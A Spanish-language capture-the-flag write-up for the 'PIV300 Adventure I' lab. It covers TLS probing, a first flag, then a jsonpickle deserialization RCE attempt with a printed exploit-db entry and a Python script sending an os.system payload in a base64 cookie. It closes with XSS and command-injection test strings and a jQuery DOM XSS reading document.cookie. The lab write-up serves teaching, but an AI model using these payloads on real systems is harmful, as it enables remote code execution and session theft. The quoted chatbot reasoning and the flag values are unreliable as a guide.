PIV300 - Adventure I

Primera Flag
Vamos a escanear la IP 10.6.0.2

Tenemos el puerto 443 abierto

Ejecutemos un openssl s_client -connect 10.6.0.2:443 para iniciar una sesión SSL/TLS con el
servidor en el puerto 443 de 10.6.0.2 utilizando el cliente OpenSSL.

Cuando se ejecuta el comando, el cliente OpenSSL se conecta al servidor especificado en el

dominio 10.6.0.2 en el puerto 443. Luego, establece una sesión SSL/TLS utilizando el
protocolo especificado (generalmente TLSv1.2 o TLSv1.3) y muestra información detallada
sobre la conexión, incluyendo la información del certificado SSL/TLS del servidor, la cadena de
certificación, la clave pública utilizada para cifrar la sesión, y la configuración del cifrado de la
sesión.

CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 subjectAltName = adventure.hz
verify error:num=18:self-signed certificate
verify return:1
depth=0 subjectAltName = adventure.hz
verify error:num=10:certificate has expired
notAfter=Nov 22 10:18:39 2019 GMT
verify return:1
depth=0 subjectAltName = adventure.hz
notAfter=Nov 22 10:18:39 2019 GMT
verify return:1
---
Certificate chain
 0 s:subjectAltName = adventure.hz
i:subjectAltName = adventure.hz
a:PKEY: rsaEncryption, 4096 (bit); sigalg: RSA-SHA256
v:NotBefore: Nov 22 10:18:39 2018 GMT; NotAfter: Nov 22 10:18:39 2019 GMT
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIFBDCCAuygAwIBAgIJAMTwNUbCfDnmMA0GCSqGSIb3DQEBCwUAMBcxFTATBgNV
HREMDGFkdmVudHVyZS5oejAeFw0xODExMjIxMDE4MzlaFw0xOTExMjIxMDE4Mzla
<TRUNCADO>

Y encontramos el sitio vulnerable que hay en 10.6.0.2 , debemos agregarlo al /etc/hosts para
lograr visualizarlo.

Inspeccionamos el código y conseguimos la primera flag.

1ra FLAG: CTF{8C1E0867D96D6A08E1DD7CD6A323CDC7}

Segunda Flag
Parece que debemos encontrar un error o vulnerabilidad a nivel de servidor.
La página interpreta código php pero aun no encuentro una forma de inyectar código.
Tenemos una cookie de sesión que parece estar codificada en Base64. La decodifiqué para ver
si contiene información útil.

En este caso, la cookie decodificada sería:

{"py/object": "uwsgi_file__webapp_challenge.session", "sess_val": "Guest"}

Esto podría referirse a que la cookie está relacionada con una sesión de usuario llamada Guest
en la aplicación web. Podríamos intentar modificar el valor de la cookie a root o admin para ver
si puedo obtener acceso a la web como un usuario diferente o con más privilegios.

{"py/object": "uwsgi_file__webapp_challenge.session", "sess_val": "Admin"}

{"py/object": "uwsgi_file__webapp_challenge.session", "sess_val": "admin"}
{"py/object": "uwsgi_file__webapp_challenge.session", "sess_val": "ADMIN"}
{"py/object": "uwsgi_file__webapp_challenge.session", "sess_val": "Root"}
{"py/object": "uwsgi_file__webapp_challenge.session", "sess_val": "root"}
{"py/object": "uwsgi_file__webapp_challenge.session", "sess_val": "ROOT"}

No se obtuvo ningún resultado de esto.

JSONPICKLE VULNERABILITY

Otra forma que intenté es codificar el código PHP en Base64 y luego lo inserté el resultado en
el valor de la cookie. Por ejemplo, insertar el código PHP <?php echo system("ls -la"); ?> en
una cookie, haciendo lo siguiente:

1. Codifiqué el código PHP en Base64:

PD9waHAgZWNobyBzeXN0ZW0oImxzIC1sYQopOyA/Pgo=

2. Utilizando cookie editor cambié este valor:

Cookie = PD9waHAgZWNobyBzeXN0ZW0oImxzIC1sYQopOyA/Pgo=

3. Envie la cookie al servidor para ver qué me muestra.

 El mensaje de error "jsonpickle Error!" junto con la imagen de un pepino sugiere que hay
algún problema con la serialización o deserialización de datos en la aplicación web.

Jsonpickle es una biblioteca de Python para serializar y deserializar objetos complejos

en formato JSON. Es posible que la aplicación web esté utilizando jsonpickle para
codificar o decodificar datos de algún tipo.

El hecho de que se muestre una imagen de un pepino sugiere que se podría estar
produciendo algún tipo de inyección de código, como por ejemplo una inyección de código
HTML. Esto podría estar sucediendo porque el código PHP inyectado en la cookie está
generando una respuesta que no es válida en formato JSON y está provocando el error.

- ChatGPT

Busquemos lo siguiente en la consola:

❯ searchsploit jsonpickle

--------------------------------------------------------------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------
python jsonpickle 2.0.0 - Remote Code Execution | multiple/remote/49585.py
--------------------------------------------------------------------------------------
Shellcodes: No Results

RCE, suena interesante, inspeccionemos el exploit a ver que es lo que hace.

 ❯ searchsploit -x multiple/remote/49585.py

# Exploit Title: python jsonpickle 2.0.0 - Remote Code Execution

# Date: 24-2-2021
# Vendor Homepage: https://jsonpickle.github.io
# Exploit Author: Adi Malyanker, Shay Reuven
# Software Link: https://github.com/jsonpickle/jsonpickle
# Version: 2.0.0
# Tested on: windows, linux

# Python is an open source language. jsonickle module is provided to convert

objects into a serialized form,
# and later recover the data back into an object. the decode is used to
undeserialize serialized strings.

# If malicious data is deserialized, it will execute arbitrary Python commands. It

is also possible to make system() calls.
# the problem is in the inner function loadrepr function which eval each serialized
string which contains "py/repr".

# The vulnerability exists from the first version till the current version for
backward compatibility. no patch is provided yet

# the payload was found during our research made on deserialization functions.

# the pattern should be :

# {..{"py/repr":<the module to import>/<the command to be executed.>}..}

# example:

malicious = '{"1": {"py/repr": "time/time.sleep(10)"}, "2": {"py/id": 67}}'

# the command on the server side

some_parameter = jsonpickle.decode(malicious)
/usr/share/exploitdb/exploits/multiple/remote/49585.py (END)

Este exploit aprovecha una vulnerabilidad en la biblioteca Python jsonpickle versión 2.0.0 y
versiones anteriores que permite la ejecución remota de código. jsonpickle se utiliza para
convertir objetos complejos de Python en una forma serializada y luego recuperar los datos de
nuevo en un objeto. La vulnerabilidad está presente en la función interna loadrepr de
jsonpickle, que evalúa cada cadena serializada que contiene "py/repr". Si se deserializan datos
maliciosos, se van ejecutar comandos arbitrarios de Python, incluida tambien llamadas a la
función system().

El exploit aprovecha esta vulnerabilidad al crear una cadena JSON maliciosa que contiene un
objeto con un campo "py/repr" que especifica el módulo y el comando a ejecutar. Cuando el
servidor deserializa esta cadena JSON maliciosa, se ejecuta el comando especificado, lo que
tal vez me permita ejecutar código arbitrario en el servidor.

El ejemplo del payload en el código del exploit inyecta el comando time.sleep(10) para hacer
que el servidor espere 10 segundos antes de continuar, lo que podría utilizarse para hacer que
el servidor se vuelva inoperable o para retrasar un ataque hasta que se desactive un sistema
de seguridad o algo por el estilo.

Bueno, a todo esto aún no tenemos la versión del jsonpickle que se está empleando en la web
podemos probar a suerte.

Hagamos un script en python para automatizar el proceso, lo que podemos hacer para obtener
la ejecución remota de comandos, podría ser inyectar un comando de shell arbitrario utilizando
la función system() de Python. Por ejemplo, el payload malicioso podría ser:

malicious = '{"1": {"py/repr": "os.system(\'<comando a ejecutar>\')"}, "2": {"py/id":

67}}'

Donde el parametro <comando a ejecutar> es el comando que vamos a ejecutar en el servidor

remoto. Por ejemplo, si quisieramos ejecutar el comando whoami , el payload sería:

malicious = '{"1": {"py/repr": "os.system(\'whoami\')"}, "2": {"py/id": 67}}'

Al deserializar este payload malicioso, se ejecutará el comando whoami en el servidor remoto, lo

que permitirá al atacante obtener la información de usuario del servidor.

Ya sabido esto he realizado el siguiente script:

#--------jsonpickle_bsk.py--------

import requests
import base64
import jsonpickle

# Define el payload malicioso

malicious_payload = '{"1": {"py/repr": "os.system(\'whoami\')"}}'

# Codificamos el payload en base64

malicious_payload_b64 = base64.b64encode(malicious_payload.encode('utf-8')).decode('utf-
8')

# Creamos una cookie con la payload malicioso

cookie = {'session': malicious_payload_b64}

# Realizamos la solicitud HTTP con la cookie creada

url = "https://adventure.hz"
response = requests.get(url, cookies=cookie, verify=False)
 # Imprimir respuesta del servidor
print(response.text)

Este script crea un payload que ejecutará el comando whoami en el servidor remoto y lo
codifica en base64. Luego, crea una cookie con la payload malicioso y realiza una solicitud
HTTP al servidor remoto con la cookie. Finalmente, imprime la respuesta del servidor.

No hemos logrado conseguir nada de momento. Intento 312441439, sin resultados optimos.

XSS

Tambien podemos observar que en la páquina tenemos una especie de campo a llenar:

Podemos intentar ver si es vlulnerable a XSS. Para probar si es posible realizar una inyección
de código, podemos intentar ingresar algún código malicioso en el campo de correo electrónico
y ver si se ejecuta en el servidor:

1. Una alerta en JavaScript:

<script>alert('XSS')</script>

2. Un comando en PHP para obtener información del servidor:

<?php echo system('id'); ?>

3. Un comando en Bash para obtener información del servidor:

$(uname -a)

Si la página no está protegida adecuadamente contra inyecciones de código, es posible que

podamos ejecutar código malicioso en el servidor mediante este formulario de entrada, pero en
este caso si lo está.

He encontrado una vía de hacer XSS, tenemos el siguiente objeto en la web:

Al darle clic nos redirige a la misma página

Recordando tambien que la página está utilizando jQuery

Los que hemos utilizado PortSwigger recordaremos de uno de los retos, lo siguiente:

DOM XSS en jQuery

Si se utiliza una biblioteca de JavaScript como jQuery, podemos buscar sumideros que puedan
alterar los elementos DOM en la página. Por ejemplo, la función attr() de jQuery puede
cambiar los atributos de los elementos DOM. Si los datos se leen de una fuente controlada por
el usuario, como la URL, y luego se pasan a la función attr() , entonces es posible manipular el
valor enviado para causar XSS. Por ejemplo, aquí tenemos algo de JavaScript que cambia el
atributo href de un elemento anclado utilizando datos de la URL:

$(function() {
$('#backLink').attr("href",
(newURLSearchParams(window.location.search)).get('returnUrl'));
});

Puedemo explotar esto modificando la URL para que la fuente location.search contenga una
URL JavaScript maliciosa. Después de que el JavaScript de la página aplique esta URL
maliciosa al href del vínculo de retroceso, al hacer clic en el vínculo de retroceso se ejecutará:

?returnUrl=javascript:alert(document.domain)
Veamos, vamos a modificar el valor de href a href="javascript:alert(document.domain)"

Y como resultado al darle click a la lupa de búsqueda, obtenemos esto:

Otro ejemplo podría ser ver la cookie:

?returnUrl=javascript:alert(document.cookie)